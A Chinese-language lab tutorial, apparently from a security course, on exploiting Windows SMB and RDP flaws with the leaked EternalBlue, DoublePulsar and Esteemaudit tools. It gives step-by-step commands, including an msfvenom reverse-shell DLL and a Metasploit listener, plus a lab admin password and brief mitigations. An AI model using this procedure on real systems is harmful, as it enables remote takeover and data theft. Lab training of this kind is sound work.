永恒之蓝3389漏洞原理详解

实验环境操作机：WindowsXPoIP:172.16.11.2操作机：KaliLinuxoIP:172.16.12.2目标机：Windows764位oIP:172.16.12.3目标机：WindowsServer2003oIP:172.16.12.4掌握工具的用法以及临时防御措施实验步骤实验工具Metasploit：是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程等EquationGroupTools：这是一个集成的工具包，里面包含了IIS6.0、445端口、3389端口、Rootkit等远程利用工具，本次试验我们主要用到它的445端口远程入侵功能，以及3389远程端口入侵功能。实验内容ShadowBrokers再次暴露出一份震惊世界的机密文档，其中包含了多个Windows远程漏洞利用工具，可以覆盖大量的Windows服务器，一夜之间所有Windows服务器几乎全线暴露在危险之中，任何人都可以直接下载并远程攻击利用，考虑到国内不少高校、政府、国企甚至还有一些互联网公司还在使用Windows服务器，这次事件影响力堪称网络大地震。影响版本全球70%的Windows服务器，包括WindowsNT、Windows2000、WindowsXP、Windows2003、WindowsVista、Windows7、Windows8，Windows2008、Windows2008R2、WindowsServer2012SP0危害攻击者通过执行脚本，使目标主机蓝屏重启，获取Windows目标主机权限，对目标机器进行任意操作，攻击成本和利用条件都很低，只需在本地执行脚本，并设置相关参数。一旦攻击成功，攻击者能直接控制目标主机，甚至直接下载数据库，盗取商业机密，很多的政府、事业单位都会受到影响，影响极大，危害不言而喻。步骤1：利用Eternalblue与Doublepulsar插件，验证445SMB漏洞我们本步骤利用Eternalblue和Doublepulsar这两个插件来获取Windows764位的系统权限。其中Eternalblue可以利用SMB漏洞，获取Windows7系统权限而Doublepulsar可以加载Metasploit生成的恶意DLL。我们首先进入cmd命令行，在命令行中进入文件夹：cdC:\EQGRP_Lost_in_Translation-master/Windows输入命令：fb.py//运行python文件注：在一般情况下需要在工具根目录下创建listeningposts文件夹，否则运行文件时，会报错。接下来依次填入对应信息：172.16.12.3//目标IP172.16.11.2//本地IPno//取消重定向c:\logs//指定日志文件目录继续填入相关新信息：0//创建一个新项目Test_Win7//项目名称Yes//确认路径到这里就完成了最基本的信息配置，正式启动了脚本，接下来继续进行配置，这时就要用到第一个插件了，使用命令：useEternalblue//使用Eternalblue注意这里要选择操作系统、系统位数、传输方式，我们分别选择Windows7、64位、FB传输方式，其他配置信息直接按回车键，保持默认即可。当看到EternalblueSucceeded字样，代表成功。接下来需要用到Metasploit，使用Everything搜索并使用XShell连接到KaliLinux：连接成功后，使用如下命令生成恶意DLL：msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=172.16.12.2LPORT=12399-fdllwin.dll这时，/home目录下就会生成win.dll文件，然后使用如下命令进入Metasploit，设置TCP监听端口，用于接受攻击成功后返回的Shell：msfconsoleuseexploit/multi/handler//使用监听模块setpayloadwindows/x64/meterpreter/reverse_tcp//设置payloadshowoptions//查看配置信息setLHOST172.16.12.2//设置本地IPsetLPORT12399//设置本地端口run//运行如图，Metasploit已经成功运行，等待Shell的返回。现在将之前生成的win.dll文件通过FTP复制到Windows机器上：首先点击下图中使用红色小框标示的图标：本文中，我将dll文件放在C盘根目录：接下来使用Doublepulsar来加载生成的dll文件。注：这里系统位数、后门操作、后门路径，我们分别选择64位、RunDLL、c:\win.dll，其他保持默认即可配置完之后，提示成功。我们再来查看Metasploit可以看到，成功的利用了插件，已经获取了Shell。然后退回操作机cmd命令行下,重新运行fb.py.准备进行下一步骤.步骤2：利用Esteemaudit插件，验证3389RDP漏洞本步骤利用Esteemaudit插件，来验证漏洞存在。(本步骤的目标地址为172.16.12.4)与上一步骤一样，首先设置基本信息，这里就不在赘述：基本信息配置完成之后，下面对ESTEEMAUDIT插件进行配置：useESTEEMAUDIT//使用ESTEEMAUDIT插件这里我将CallbackPort设置为8899端口（其他端口也可以）手动加载rudo_x86.dll和capa_x86.dll，因为插件默认选项都在D盘，它不能识别安装目录，我们复制之前位置，位于C:\EQGRP_Lost_in_Translation-master\windows\storage，如图：手动加载lipa_x86.dll，原因同上：其他保持默认即可。可以看到，成功执行。（同学们也可以使用3389端口对WindowsServer2003进行登录,目标IP为172.16.12.4，账号密码为[administrator，ichunqiu123.]，使用命令netstat-ant查看是否成功连接）实验结果分析与总结本次实验我们成功的使用工具Eternalblue、Doublepulsar、ESTEEMAUDIT对SMB、RDP协议漏洞进行了演示攻击。临时修复方案使用防火墙过滤/关闭137、139、445端口。对于3389远程登录，如果不想关闭的话，至少要关闭智能卡登录功能。升级补丁，更新系统。思考本文中对445和3389端口进行了验证，请在课下尝试对其他的协议、Payload以及其他系统进行尝试。